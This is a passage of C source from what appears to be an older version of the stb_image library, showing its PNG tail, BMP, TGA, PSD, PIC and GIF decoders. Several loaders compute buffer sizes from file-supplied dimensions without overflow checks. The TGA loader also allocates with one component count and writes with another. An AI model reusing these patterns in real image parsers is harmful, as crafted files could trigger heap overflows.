case PNG_TYPE('I','E','N','D'): {
stbi__uint32 raw_len;
if (first) return e("first not IHDR", "Corrupt PNG");
if (scan != SCAN_load) return 1;
if (z->idata == NULL) return e("no IDAT","Corrupt PNG");
z->expanded = (stbi__uint8 *) stbi_zlib_decode_malloc_guesssize_headerflag((char *) z->idata, ioff, 16384, (int *) &raw_len, !iphone);
if (z->expanded == NULL) return 0; // zlib should set error
free(z->idata); z->idata = NULL;
if ((req_comp == s->img_n+1 && req_comp != 3 && !pal_img_n) || has_trans)
s->img_out_n = s->img_n+1;
else
s->img_out_n = s->img_n;
if (!create_png_image(z, z->expanded, raw_len, s->img_out_n, interlace)) return 0;
if (has_trans)
if (!compute_transparency(z, tc, s->img_out_n)) return 0;
if (iphone && s->img_out_n > 2)
stbi_de_iphone(z);
if (pal_img_n) {
// pal_img_n == 3 or 4
s->img_n = pal_img_n; // record the actual colors we had
s->img_out_n = pal_img_n;
if (req_comp >= 3) s->img_out_n = req_comp;
if (!expand_palette(z, palette, pal_len, s->img_out_n))
return 0;
}
free(z->expanded); z->expanded = NULL;
return 1;
}
default:
// if critical, fail
if (first) return e("first not IHDR", "Corrupt PNG");
if ((c.type & (1 << 29)) == 0) {
#ifndef STBI_NO_FAILURE_STRINGS
// not threadsafe
static char invalid_chunk[] = "XXXX chunk not known";
invalid_chunk[0] = (stbi__uint8) (c.type >> 24);
invalid_chunk[1] = (stbi__uint8) (c.type >> 16);
invalid_chunk[2] = (stbi__uint8) (c.type >> 8);
invalid_chunk[3] = (stbi__uint8) (c.type >> 0);
#endif
return e(invalid_chunk, "PNG not supported: unknown chunk type");
}
skip(s, c.length);
break;
}
// end of chunk, read and skip CRC
get32(s);
}
}
static unsigned char *do_png(png *p, int *x, int *y, int *n, int req_comp)
{
unsigned char *result=NULL;
if (req_comp < 0 || req_comp > 4) return epuc("bad req_comp", "Internal error");
if (parse_png_file(p, SCAN_load, req_comp)) {
result = p->out;
p->out = NULL;
if (req_comp && req_comp != p->s->img_out_n) {
result = convert_format(result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
p->s->img_out_n = req_comp;
if (result == NULL) return result;
}
*x = p->s->img_x;
*y = p->s->img_y;
if (n) *n = p->s->img_n;
}
free(p->out); p->out = NULL;
free(p->expanded); p->expanded = NULL;
free(p->idata); p->idata = NULL;
return result;
}
static unsigned char *stbi_png_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
png p;
p.s = s;
return do_png(&p, x,y,comp,req_comp);
}
static int stbi_png_test(stbi *s)
{
int r;
r = check_png_header(s);
stbi_rewind(s);
return r;
}
static int stbi_png_info_raw(png *p, int *x, int *y, int *comp)
{
if (!parse_png_file(p, SCAN_header, 0)) {
stbi_rewind( p->s );
return 0;
}
if (x) *x = p->s->img_x;
if (y) *y = p->s->img_y;
if (comp) *comp = p->s->img_n;
return 1;
}
static int stbi_png_info(stbi *s, int *x, int *y, int *comp)
{
png p;
p.s = s;
return stbi_png_info_raw(&p, x, y, comp);
}
// Microsoft/Windows BMP image
static int bmp_test(stbi *s)
{
int sz;
if (get8(s) != 'B') return 0;
if (get8(s) != 'M') return 0;
get32le(s); // discard filesize
get16le(s); // discard reserved
get16le(s); // discard reserved
get32le(s); // discard data offset
sz = get32le(s);
if (sz == 12 || sz == 40 || sz == 56 || sz == 108) return 1;
return 0;
}
static int stbi_bmp_test(stbi *s)
{
int r = bmp_test(s);
stbi_rewind(s);
return r;
}
// returns 0..31 for the highest set bit
static int high_bit(unsigned int z)
{
int n=0;
if (z == 0) return -1;
if (z >= 0x10000) (void)(n += 16), z >>= 16;
if (z >= 0x00100) (void)(n += 8), z >>= 8;
if (z >= 0x00010) (void)(n += 4), z >>= 4;
if (z >= 0x00004) (void)(n += 2), z >>= 2;
if (z >= 0x00002) (void)(n += 1), z >>= 1;
return n;
}
static int bitcount(unsigned int a)
{
a = (a & 0x55555555) + ((a >> 1) & 0x55555555); // max 2
a = (a & 0x33333333) + ((a >> 2) & 0x33333333); // max 4
a = (a + (a >> 4)) & 0x0f0f0f0f; // max 8 per 4, now 8 bits
a = (a + (a >> 8)); // max 16 per 8 bits
a = (a + (a >> 16)); // max 32 per 8 bits
return a & 0xff;
}
static int shiftsigned(int v, int shift, int bits)
{
int result;
int z=0;
if (shift < 0) v <<= -shift;
else v >>= shift;
result = v;
z = bits;
while (z < 8) {
result += v >> z;
z += bits;
}
return result;
}
static stbi_uc *bmp_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
stbi__uint8 *out;
unsigned int mr=0,mg=0,mb=0,ma=0, fake_a=0;
stbi_uc pal[256][4];
int psize=0,i,j,compress=0,width;
int bpp, flip_vertically, pad, target, offset, hsz;
if (get8(s) != 'B' || get8(s) != 'M') return epuc("not BMP", "Corrupt BMP");
get32le(s); // discard filesize
get16le(s); // discard reserved
get16le(s); // discard reserved
offset = get32le(s);
hsz = get32le(s);
if (hsz != 12 && hsz != 40 && hsz != 56 && hsz != 108) return epuc("unknown BMP", "BMP type not supported: unknown");
if (hsz == 12) {
s->img_x = get16le(s);
s->img_y = get16le(s);
} else {
s->img_x = get32le(s);
s->img_y = get32le(s);
}
if (get16le(s) != 1) return epuc("bad BMP", "bad BMP");
bpp = get16le(s);
if (bpp == 1) return epuc("monochrome", "BMP type not supported: 1-bit");
flip_vertically = ((int) s->img_y) > 0;
s->img_y = abs((int) s->img_y);
if (hsz == 12) {
if (bpp < 24)
psize = (offset - 14 - 24) / 3;
} else {
compress = get32le(s);
if (compress == 1 || compress == 2) return epuc("BMP RLE", "BMP type not supported: RLE");
get32le(s); // discard sizeof
get32le(s); // discard hres
get32le(s); // discard vres
get32le(s); // discard colorsused
get32le(s); // discard max important
if (hsz == 40 || hsz == 56) {
if (hsz == 56) {
get32le(s);
get32le(s);
get32le(s);
get32le(s);
}
if (bpp == 16 || bpp == 32) {
mr = mg = mb = 0;
if (compress == 0) {
if (bpp == 32) {
mr = 0xffu << 16;
mg = 0xffu << 8;
mb = 0xffu << 0;
ma = 0xffu << 24;
fake_a = 1; // @TODO: check for cases like alpha value is all 0 and switch it to 255
STBI_NOTUSED(fake_a);
} else {
mr = 31u << 10;
mg = 31u << 5;
mb = 31u << 0;
}
} else if (compress == 3) {
mr = get32le(s);
mg = get32le(s);
mb = get32le(s);
// not documented, but generated by photoshop and handled by mspaint
if (mr == mg && mg == mb) {
// ?!?!?
return epuc("bad BMP", "bad BMP");
}
} else
return epuc("bad BMP", "bad BMP");
}
} else {
assert(hsz == 108);
mr = get32le(s);
mg = get32le(s);
mb = get32le(s);
ma = get32le(s);
get32le(s); // discard color space
for (i=0; i < 12; ++i)
get32le(s); // discard color space parameters
}
if (bpp < 16)
psize = (offset - 14 - hsz) >> 2;
}
s->img_n = ma ? 4 : 3;
if (req_comp && req_comp >= 3) // we can directly decode 3 or 4
target = req_comp;
else
target = s->img_n; // if they want monochrome, we'll post-convert
out = (stbi_uc *) malloc(target * s->img_x * s->img_y);
if (!out) return epuc("outofmem", "Out of memory");
if (bpp < 16) {
int z=0;
if (psize == 0 || psize > 256) { free(out); return epuc("invalid", "Corrupt BMP"); }
for (i=0; i < psize; ++i) {
pal[i][2] = get8u(s);
pal[i][1] = get8u(s);
pal[i][0] = get8u(s);
if (hsz != 12) get8(s);
pal[i][3] = 255;
}
skip(s, offset - 14 - hsz - psize * (hsz == 12 ? 3 : 4));
if (bpp == 4) width = (s->img_x + 1) >> 1;
else if (bpp == 8) width = s->img_x;
else { free(out); return epuc("bad bpp", "Corrupt BMP"); }
pad = (-width)&3;
for (j=0; j < (int) s->img_y; ++j) {
for (i=0; i < (int) s->img_x; i += 2) {
int v=get8(s),v2=0;
if (bpp == 4) {
v2 = v & 15;
v >>= 4;
}
out[z++] = pal[v][0];
out[z++] = pal[v][1];
out[z++] = pal[v][2];
if (target == 4) out[z++] = 255;
if (i+1 == (int) s->img_x) break;
v = (bpp == 8) ? get8(s) : v2;
out[z++] = pal[v][0];
out[z++] = pal[v][1];
out[z++] = pal[v][2];
if (target == 4) out[z++] = 255;
}
skip(s, pad);
}
} else {
int rshift=0,gshift=0,bshift=0,ashift=0,rcount=0,gcount=0,bcount=0,acount=0;
int z = 0;
int easy=0;
skip(s, offset - 14 - hsz);
if (bpp == 24) width = 3 * s->img_x;
else if (bpp == 16) width = 2*s->img_x;
else /* bpp = 32 and pad = 0 */ width=0;
pad = (-width) & 3;
if (bpp == 24) {
easy = 1;
} else if (bpp == 32) {
if (mb == 0xff && mg == 0xff00 && mr == 0x00ff0000 && ma == 0xff000000)
easy = 2;
}
if (!easy) {
if (!mr || !mg || !mb) { free(out); return epuc("bad masks", "Corrupt BMP"); }
// right shift amt to put high bit in position #7
rshift = high_bit(mr)-7; rcount = bitcount(mr);
gshift = high_bit(mg)-7; gcount = bitcount(mg);
bshift = high_bit(mb)-7; bcount = bitcount(mb);
ashift = high_bit(ma)-7; acount = bitcount(ma);
}
for (j=0; j < (int) s->img_y; ++j) {
if (easy) {
for (i=0; i < (int) s->img_x; ++i) {
int a;
out[z+2] = get8u(s);
out[z+1] = get8u(s);
out[z+0] = get8u(s);
z += 3;
a = (easy == 2 ? get8(s) : 255);
if (target == 4) out[z++] = (stbi__uint8) a;
}
} else {
for (i=0; i < (int) s->img_x; ++i) {
stbi__uint32 v = (stbi__uint32) (bpp == 16 ? get16le(s) : get32le(s));
int a;
out[z++] = (stbi__uint8) shiftsigned(v & mr, rshift, rcount);
out[z++] = (stbi__uint8) shiftsigned(v & mg, gshift, gcount);
out[z++] = (stbi__uint8) shiftsigned(v & mb, bshift, bcount);
a = (ma ? shiftsigned(v & ma, ashift, acount) : 255);
if (target == 4) out[z++] = (stbi__uint8) a;
}
}
skip(s, pad);
}
}
if (flip_vertically) {
stbi_uc t;
for (j=0; j < (int) s->img_y>>1; ++j) {
stbi_uc *p1 = out + j *s->img_x*target;
stbi_uc *p2 = out + (s->img_y-1-j)*s->img_x*target;
for (i=0; i < (int) s->img_x*target; ++i) {
(void)(t = p1[i]), (void)(p1[i] = p2[i]), p2[i] = t;
}
}
}
if (req_comp && req_comp != target) {
out = convert_format(out, target, req_comp, s->img_x, s->img_y);
if (out == NULL) return out; // convert_format frees input on failure
}
*x = s->img_x;
*y = s->img_y;
if (comp) *comp = s->img_n;
return out;
}
static stbi_uc *stbi_bmp_load(stbi *s,int *x, int *y, int *comp, int req_comp)
{
return bmp_load(s, x,y,comp,req_comp);
}
// Targa Truevision - TGA
// by Jonathan Dummer
static int tga_info(stbi *s, int *x, int *y, int *comp)
{
int tga_w, tga_h, tga_comp;
int sz;
get8u(s); // discard Offset
sz = get8u(s); // color type
if( sz > 1 ) {
stbi_rewind(s);
return 0; // only RGB or indexed allowed
}
sz = get8u(s); // image type
// only RGB or grey allowed, +/- RLE
if ((sz != 1) && (sz != 2) && (sz != 3) && (sz != 9) && (sz != 10) && (sz != 11)) return 0;
skip(s,9);
tga_w = get16le(s);
if( tga_w < 1 ) {
stbi_rewind(s);
return 0; // test width
}
tga_h = get16le(s);
if( tga_h < 1 ) {
stbi_rewind(s);
return 0; // test height
}
sz = get8(s); // bits per pixel
// only RGB or RGBA or grey allowed
if ((sz != 8) && (sz != 16) && (sz != 24) && (sz != 32)) {
stbi_rewind(s);
return 0;
}
tga_comp = sz;
if (x) *x = tga_w;
if (y) *y = tga_h;
if (comp) *comp = tga_comp / 8;
return 1; // seems to have passed everything
}
int stbi_tga_info(stbi *s, int *x, int *y, int *comp)
{
return tga_info(s, x, y, comp);
}
static int tga_test(stbi *s)
{
int sz;
get8u(s); // discard Offset
sz = get8u(s); // color type
if ( sz > 1 ) return 0; // only RGB or indexed allowed
sz = get8u(s); // image type
if ( (sz != 1) && (sz != 2) && (sz != 3) && (sz != 9) && (sz != 10) && (sz != 11) ) return 0; // only RGB or grey allowed, +/- RLE
get16(s); // discard palette start
get16(s); // discard palette length
get8(s); // discard bits per palette color entry
get16(s); // discard x origin
get16(s); // discard y origin
if ( get16(s) < 1 ) return 0; // test width
if ( get16(s) < 1 ) return 0; // test height
sz = get8(s); // bits per pixel
if ( (sz != 8) && (sz != 16) && (sz != 24) && (sz != 32) ) return 0; // only RGB or RGBA or grey allowed
return 1; // seems to have passed everything
}
static int stbi_tga_test(stbi *s)
{
int res = tga_test(s);
stbi_rewind(s);
return res;
}
static stbi_uc *tga_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
// read in the TGA header stuff
int tga_offset = get8u(s);
int tga_indexed = get8u(s);
int tga_image_type = get8u(s);
int tga_is_RLE = 0;
int tga_palette_start = get16le(s);
int tga_palette_len = get16le(s);
int tga_palette_bits = get8u(s);
int tga_x_origin = get16le(s);
int tga_y_origin = get16le(s);
int tga_width = get16le(s);
int tga_height = get16le(s);
int tga_bits_per_pixel = get8u(s);
int tga_comp = tga_bits_per_pixel / 8;
int tga_inverted = get8u(s);
// image data
unsigned char *tga_data;
unsigned char *tga_palette = NULL;
int i, j;
unsigned char raw_data[4];
int RLE_count = 0;
int RLE_repeating = 0;
int read_next_pixel = 1;
// do a tiny bit of precessing
if ( tga_image_type >= 8 )
{
tga_image_type -= 8;
tga_is_RLE = 1;
}
/* int tga_alpha_bits = tga_inverted & 15; */
tga_inverted = 1 - ((tga_inverted >> 5) & 1);
// error check
if ( //(tga_indexed) ||
(tga_width < 1) || (tga_height < 1) ||
(tga_image_type < 1) || (tga_image_type > 3) ||
((tga_bits_per_pixel != 8) && (tga_bits_per_pixel != 16) &&
(tga_bits_per_pixel != 24) && (tga_bits_per_pixel != 32))
)
{
return NULL; // we don't report this as a bad TGA because we don't even know if it's TGA
}
// If I'm paletted, then I'll use the number of bits from the palette
if ( tga_indexed )
{
tga_comp = tga_palette_bits / 8;
}
// tga info
*x = tga_width;
*y = tga_height;
if (comp) *comp = tga_comp;
tga_data = (unsigned char*)malloc( tga_width * tga_height * req_comp );
if (!tga_data) return epuc("outofmem", "Out of memory");
// skip to the data's starting position (offset usually = 0)
skip(s, tga_offset );
if ( !tga_indexed && !tga_is_RLE) {
for (i=0; i < tga_height; ++i) {
int y = tga_inverted ? tga_height -i - 1 : i;
stbi__uint8 *tga_row = tga_data + y*tga_width*tga_comp;
getn(s, tga_row, tga_width * tga_comp);
}
} else {
// do I need to load a palette?
if ( tga_indexed)
{
// any data to skip? (offset usually = 0)
skip(s, tga_palette_start );
// load the palette
tga_palette = (unsigned char*)malloc( tga_palette_len * tga_palette_bits / 8 );
if (!tga_palette) {
free(tga_data);
return epuc("outofmem", "Out of memory");
}
if (!getn(s, tga_palette, tga_palette_len * tga_palette_bits / 8 )) {
free(tga_data);
free(tga_palette);
return epuc("bad palette", "Corrupt TGA");
}
}
// load the data
for (i=0; i < tga_width * tga_height; ++i)
{
// if I'm in RLE mode, do I need to get a RLE chunk?
if ( tga_is_RLE )
{
if ( RLE_count == 0 )
{
// yep, get the next byte as a RLE command
int RLE_cmd = get8u(s);
RLE_count = 1 + (RLE_cmd & 127);
RLE_repeating = RLE_cmd >> 7;
read_next_pixel = 1;
} else if ( !RLE_repeating )
{
read_next_pixel = 1;
}
} else
{
read_next_pixel = 1;
}
// OK, if I need to read a pixel, do it now
if ( read_next_pixel )
{
// load however much data we did have
if ( tga_indexed )
{
// read in 1 byte, then perform the lookup
int pal_idx = get8u(s);
if ( pal_idx >= tga_palette_len )
{
// invalid index
pal_idx = 0;
}
pal_idx *= tga_bits_per_pixel / 8;
for (j = 0; j*8 < tga_bits_per_pixel; ++j)
{
raw_data[j] = tga_palette[pal_idx+j];
}
} else
{
// read in the data raw
for (j = 0; j*8 < tga_bits_per_pixel; ++j)
{
raw_data[j] = get8u(s);
}
}
// clear the reading flag for the next pixel
read_next_pixel = 0;
} // end of reading a pixel
// copy data
for (j = 0; j < tga_comp; ++j)
tga_data[i*tga_comp+j] = raw_data[j];
// in case we're in RLE mode, keep counting down
--RLE_count;
}
// do I need to invert the image?
if ( tga_inverted )
{
for (j = 0; j*2 < tga_height; ++j)
{
int index1 = j * tga_width * req_comp;
int index2 = (tga_height - 1 - j) * tga_width * req_comp;
for (i = tga_width * req_comp; i > 0; --i)
{
unsigned char temp = tga_data[index1];
tga_data[index1] = tga_data[index2];
tga_data[index2] = temp;
++index1;
++index2;
}
}
}
// clear my palette, if I had one
if ( tga_palette != NULL )
{
free( tga_palette );
}
}
// swap RGB
if (tga_comp >= 3)
{
unsigned char* tga_pixel = tga_data;
for (i=0; i < tga_width * tga_height; ++i)
{
unsigned char temp = tga_pixel[0];
tga_pixel[0] = tga_pixel[2];
tga_pixel[2] = temp;
tga_pixel += tga_comp;
}
}
// convert to target component count
if (req_comp && req_comp != tga_comp)
tga_data = convert_format(tga_data, tga_comp, req_comp, tga_width, tga_height);
// the things I do to get rid of an error message, and yet keep
// Microsoft's C compilers happy... [8^(
tga_palette_start = tga_palette_len = tga_palette_bits =
tga_x_origin = tga_y_origin = 0;
// OK, done
return tga_data;
}
static stbi_uc *stbi_tga_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
return tga_load(s,x,y,comp,req_comp);
}
// *************************************************************************************************
// Photoshop PSD loader -- PD by Thatcher Ulrich, integration by Nicolas Schulz, tweaked by STB
static int psd_test(stbi *s)
{
if (get32(s) != 0x38425053) return 0; // "8BPS"
else return 1;
}
static int stbi_psd_test(stbi *s)
{
int r = psd_test(s);
stbi_rewind(s);
return r;
}
static stbi_uc *psd_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
int pixelCount;
int channelCount, compression;
int channel, i, count, len;
int w,h;
stbi__uint8 *out;
// Check identifier
if (get32(s) != 0x38425053) // "8BPS"
return epuc("not PSD", "Corrupt PSD image");
// Check file type version.
if (get16(s) != 1)
return epuc("wrong version", "Unsupported version of PSD image");
// Skip 6 reserved bytes.
skip(s, 6 );
// Read the number of channels (R, G, B, A, etc).
channelCount = get16(s);
if (channelCount < 0 || channelCount > 16)
return epuc("wrong channel count", "Unsupported number of channels in PSD image");
// Read the rows and columns of the image.
h = get32(s);
w = get32(s);
// Make sure the depth is 8 bits.
if (get16(s) != 8)
return epuc("unsupported bit depth", "PSD bit depth is not 8 bit");
// Make sure the color mode is RGB.
// Valid options are:
// 0: Bitmap
// 1: Grayscale
// 2: Indexed color
// 3: RGB color
// 4: CMYK color
// 7: Multichannel
// 8: Duotone
// 9: Lab color
if (get16(s) != 3)
return epuc("wrong color format", "PSD is not in RGB color format");
// Skip the Mode Data. (It's the palette for indexed color; other info for other modes.)
skip(s,get32(s) );
// Skip the image resources. (resolution, pen tool paths, etc)
skip(s, get32(s) );
// Skip the reserved data.
skip(s, get32(s) );
// Find out if the data is compressed.
// Known values:
// 0: no compression
// 1: RLE compressed
compression = get16(s);
if (compression > 1)
return epuc("bad compression", "PSD has an unknown compression format");
// Create the destination image.
out = (stbi_uc *) malloc(4 * w*h);
if (!out) return epuc("outofmem", "Out of memory");
pixelCount = w*h;
// Initialize the data to zero.
//memset( out, 0, pixelCount * 4 );
// Finally, the image data.
if (compression) {
// RLE as used by .PSD and .TIFF
// Loop until you get the number of unpacked bytes you are expecting:
// Read the next source byte into n.
// If n is between 0 and 127 inclusive, copy the next n+1 bytes literally.
// Else if n is between -127 and -1 inclusive, copy the next byte -n+1 times.
// Else if n is 128, noop.
// Endloop
// The RLE-compressed data is preceeded by a 2-byte data count for each row in the data,
// which we're going to just skip.
skip(s, h * channelCount * 2 );
// Read the RLE data by channel.
for (channel = 0; channel < 4; channel++) {
stbi__uint8 *p;
p = out+channel;
if (channel >= channelCount) {
// Fill this channel with default data.
for (i = 0; i < pixelCount; i++) (void)(*p = (channel == 3 ? 255 : 0)), p += 4;
} else {
// Read the RLE data.
count = 0;
while (count < pixelCount) {
len = get8(s);
if (len == 128) {
// No-op.
} else if (len < 128) {
// Copy next len+1 bytes literally.
len++;
count += len;
while (len) {
*p = get8u(s);
p += 4;
len--;
}
} else if (len > 128) {
stbi__uint8 val;
// Next -len+1 bytes in the dest are replicated from next source byte.
// (Interpret len as a negative 8-bit int.)
len ^= 0x0FF;
len += 2;
val = get8u(s);
count += len;
while (len) {
*p = val;
p += 4;
len--;
}
}
}
}
}
} else {
// We're at the raw image data. It's each channel in order (Red, Green, Blue, Alpha, ...)
// where each channel consists of an 8-bit value for each pixel in the image.
// Read the data by channel.
for (channel = 0; channel < 4; channel++) {
stbi__uint8 *p;
p = out + channel;
if (channel > channelCount) {
// Fill this channel with default data.
for (i = 0; i < pixelCount; i++) (void)(*p = channel == 3 ? 255 : 0), p += 4;
} else {
// Read the data.
for (i = 0; i < pixelCount; i++)
(void)(*p = get8u(s)), p += 4;
}
}
}
if (req_comp && req_comp != 4) {
out = convert_format(out, 4, req_comp, w, h);
if (out == NULL) return out; // convert_format frees input on failure
}
if (comp) *comp = channelCount;
*y = h;
*x = w;
return out;
}
static stbi_uc *stbi_psd_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
return psd_load(s,x,y,comp,req_comp);
}
// *************************************************************************************************
// Softimage PIC loader
// by Tom Seddon
//
// See http://softimage.wiki.softimage.com/index.php/INFO:_PIC_file_format
// See http://ozviz.wasp.uwa.edu.au/~pbourke/dataformats/softimagepic/
static int pic_is4(stbi *s,const char *str)
{
int i;
for (i=0; i<4; ++i)
if (get8(s) != (stbi_uc)str[i])
return 0;
return 1;
}
static int pic_test(stbi *s)
{
int i;
if (!pic_is4(s,"\x53\x80\xF6\x34"))
return 0;
for(i=0;i<84;++i)
get8(s);
if (!pic_is4(s,"PICT"))
return 0;
return 1;
}
typedef struct
{
stbi_uc size,type,channel;
} pic_packet_t;
static stbi_uc *pic_readval(stbi *s, int channel, stbi_uc *dest)
{
int mask=0x80, i;
for (i=0; i<4; ++i, mask>>=1) {
if (channel & mask) {
if (at_eof(s)) return epuc("bad file","PIC file too short");
dest[i]=get8u(s);
}
}
return dest;
}
static void pic_copyval(int channel,stbi_uc *dest,const stbi_uc *src)
{
int mask=0x80,i;
for (i=0;i<4; ++i, mask>>=1)
if (channel&mask)
dest[i]=src[i];
}
static stbi_uc *pic_load2(stbi *s,int width,int height,int *comp, stbi_uc *result)
{
int act_comp=0,num_packets=0,y,chained;
pic_packet_t packets[10];
// this will (should...) cater for even some bizarre stuff like having data
// for the same channel in multiple packets.
do {
pic_packet_t *packet;
if (num_packets==sizeof(packets)/sizeof(packets[0]))
return epuc("bad format","too many packets");
packet = &packets[num_packets++];
chained = get8(s);
packet->size = get8u(s);
packet->type = get8u(s);
packet->channel = get8u(s);
act_comp |= packet->channel;
if (at_eof(s)) return epuc("bad file","file too short (reading packets)");
if (packet->size != 8) return epuc("bad format","packet isn't 8bpp");
} while (chained);
*comp = (act_comp & 0x10 ? 4 : 3); // has alpha channel?
for(y=0; y<height; ++y) {
int packet_idx;
for(packet_idx=0; packet_idx < num_packets; ++packet_idx) {
pic_packet_t *packet = &packets[packet_idx];
stbi_uc *dest = result+y*width*4;
switch (packet->type) {
default:
return epuc("bad format","packet has bad compression type");
case 0: {//uncompressed
int x;
for(x=0;x<width;++x, dest+=4)
if (!pic_readval(s,packet->channel,dest))
return 0;
break;
}
case 1://Pure RLE
{
int left=width, i;
while (left>0) {
stbi_uc count,value[4];
count=get8u(s);
if (at_eof(s)) return epuc("bad file","file too short (pure read count)");
if (count > left)
count = (stbi__uint8) left;
if (!pic_readval(s,packet->channel,value)) return 0;
for(i=0; i<count; ++i,dest+=4)
pic_copyval(packet->channel,dest,value);
left -= count;
}
}
break;
case 2: {//Mixed RLE
int left=width;
while (left>0) {
int count = get8(s), i;
if (at_eof(s)) return epuc("bad file","file too short (mixed read count)");
if (count >= 128) { // Repeated
stbi_uc value[4];
int i;
if (count==128)
count = get16(s);
else
count -= 127;
if (count > left)
return epuc("bad file","scanline overrun");
if (!pic_readval(s,packet->channel,value))
return 0;
for(i=0;i<count;++i, dest += 4)
pic_copyval(packet->channel,dest,value);
} else { // Raw
++count;
if (count>left) return epuc("bad file","scanline overrun");
for(i=0;i<count;++i, dest+=4)
if (!pic_readval(s,packet->channel,dest))
return 0;
}
left-=count;
}
break;
}
}
}
}
return result;
}
static stbi_uc *pic_load(stbi *s,int *px,int *py,int *comp,int req_comp)
{
stbi_uc *result;
int i, x,y;
for (i=0; i<92; ++i)
get8(s);
x = get16(s);
y = get16(s);
if (at_eof(s)) return epuc("bad file","file too short (pic header)");
if ((1 << 28) / x < y) return epuc("too large", "Image too large to decode");
get32(s); //skip `ratio'
get16(s); //skip `fields'
get16(s); //skip `pad'
// intermediate buffer is RGBA
result = (stbi_uc *) malloc(x*y*4);
memset(result, 0xff, x*y*4);
if (!pic_load2(s,x,y,comp, result)) {
free(result);
result=0;
}
*px = x;
*py = y;
if (req_comp == 0) req_comp = *comp;
result=convert_format(result,4,req_comp,x,y);
return result;
}
static int stbi_pic_test(stbi *s)
{
int r = pic_test(s);
stbi_rewind(s);
return r;
}
static stbi_uc *stbi_pic_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
return pic_load(s,x,y,comp,req_comp);
}
// *************************************************************************************************
// GIF loader -- public domain by Jean-Marc Lienher -- simplified/shrunk by stb
typedef struct stbi_gif_lzw_struct {
stbi__int16 prefix;
stbi__uint8 first;
stbi__uint8 suffix;
} stbi_gif_lzw;
typedef struct stbi_gif_struct
{
int w,h;
stbi_uc *out; // output buffer (always 4 components)
int flags, bgindex, ratio, transparent, eflags;
stbi__uint8 pal[256][4];
stbi__uint8 lpal[256][4];
stbi_gif_lzw codes[4096];
stbi__uint8 *color_table;
int parse, step;
int lflags;
int start_x, start_y;
int max_x, max_y;
int cur_x, cur_y;
int line_size;
} stbi_gif;
static int gif_test(stbi *s)
{
int sz;
if (get8(s) != 'G' || get8(s) != 'I' || get8(s) != 'F' || get8(s) != '8') return 0;
sz = get8(s);
if (sz != '9' && sz != '7') return 0;
if (get8(s) != 'a') return 0;
return 1;
}
static int stbi_gif_test(stbi *s)
{
int r = gif_test(s);
stbi_rewind(s);
return r;
}
static void stbi_gif_parse_colortable(stbi *s, stbi__uint8 pal[256][4], int num_entries, int transp)
{
int i;
for (i=0; i < num_entries; ++i) {
pal[i][2] = get8u(s);
pal[i][1] = get8u(s);
pal[i][0] = get8u(s);
pal[i][3] = transp ? 0 : 255;
}
}
static int stbi_gif_header(stbi *s, stbi_gif *g, int *comp, int is_info)
{
stbi__uint8 version;
if (get8(s) != 'G' || get8(s) != 'I' || get8(s) != 'F' || get8(s) != '8')
return e("not GIF", "Corrupt GIF");
version = get8u(s);
if (version != '7' && version != '9') return e("not GIF", "Corrupt GIF");
if (get8(s) != 'a') return e("not GIF", "Corrupt GIF");
failure_reason = "";
g->w = get16le(s);
g->h = get16le(s);
g->flags = get8(s);
g->bgindex = get8(s);
g->ratio = get8(s);
g->transparent = -1;
if (comp != 0) *comp = 4; // can't actually tell whether it's 3 or 4 until we parse the comments
if (is_info) return 1;
if (g->flags & 0x80)
stbi_gif_parse_colortable(s,g->pal, 2 << (g->flags & 7), -1);
return 1;
}
static int stbi_gif_info_raw(stbi *s, int *x, int *y, int *comp)
{
stbi_gif g;
if (!stbi_gif_header(s, &g, comp, 1)) {
stbi_rewind( s );
return 0;
}
if (x) *x = g.w;
if (y) *y = g.h;
return 1;
}
static void stbi_out_gif_code(stbi_gif *g, stbi__uint16 code)
{
stbi__uint8 *p, *c;
// recurse to decode the prefixes, since the linked-list is backwards,
// and working backwards through an interleaved image would be nasty
if (g->codes[code].prefix >= 0)
stbi_out_gif_code(g, g->codes[code].prefix);
if (g->cur_y >= g->max_y) return;
p = &g->out[g->cur_x + g->cur_y];
c = &g->color_table[g->codes[code].suffix * 4];
if (c[3] >= 128) {
p[0] = c[2];
p[1] = c[1];
p[2] = c[0];
p[3] = c[3];
}
g->cur_x += 4;
if (g->cur_x >= g->max_x) {
g->cur_x = g->start_x;
g->cur_y += g->step;
while (g->cur_y >= g->max_y && g->parse > 0) {
g->step = (1 << g->parse) * g->line_size;
g->cur_y = g->start_y + (g->step >> 1);
--g->parse;
}
}
}
static stbi__uint8 *stbi_process_gif_raster(stbi *s, stbi_gif *g)
{
stbi__uint8 lzw_cs;
stbi__int32 len, code;
stbi__uint32 first;
stbi__int32 codesize, codemask, avail, oldcode, bits, valid_bits, clear;
stbi_gif_lzw *p;
lzw_cs = get8u(s);
clear = 1 << lzw_cs;
first = 1;
codesize = lzw_cs + 1;
codemask = (1 << codesize) - 1;
bits = 0;
valid_bits = 0;
for (code = 0; code < clear; code++) {
g->codes[code].prefix = -1;
g->codes[code].first = (stbi__uint8) code;
g->codes[code].suffix = (stbi__uint8) code;
}
// support no starting clear code
avail = clear+2;
oldcode = -1;
len = 0;
for(;;) {
if (valid_bits < codesize) {
if (len == 0) {
len = get8(s); // start new block
if (len == 0)
return g->out;
}
--len;
bits |= (stbi__int32) get8(s) << valid_bits;
valid_bits += 8;
} else {
stbi__int32 code = bits & codemask;
bits >>= codesize;
valid_bits -= codesize;
// @OPTIMIZE: is there some way we can accelerate the non-clear path?
if (code == clear) { // clear code
codesize = lzw_cs + 1;
codemask = (1 << codesize) - 1;
avail = clear + 2;
oldcode = -1;
first = 0;
} else if (code == clear + 1) { // end of stream code
skip(s, len);
while ((len = get8(s)) > 0)
skip(s,len);
return g->out;
} else if (code <= avail) {
if (first) return epuc("no clear code", "Corrupt GIF");
if (oldcode >= 0) {
p = &g->codes[avail++];
if (avail > 4096) return epuc("too many codes", "Corrupt GIF");
p->prefix = (stbi__int16) oldcode;
p->first = g->codes[oldcode].first;
p->suffix = (code == avail) ? p->first : g->codes[code].first;
} else if (code == avail)
return epuc("illegal code in raster", "Corrupt GIF");
stbi_out_gif_code(g, (stbi__uint16) code);
if ((avail & codemask) == 0 && avail <= 0x0FFF) {
codesize++;
codemask = (1 << codesize) - 1;
}
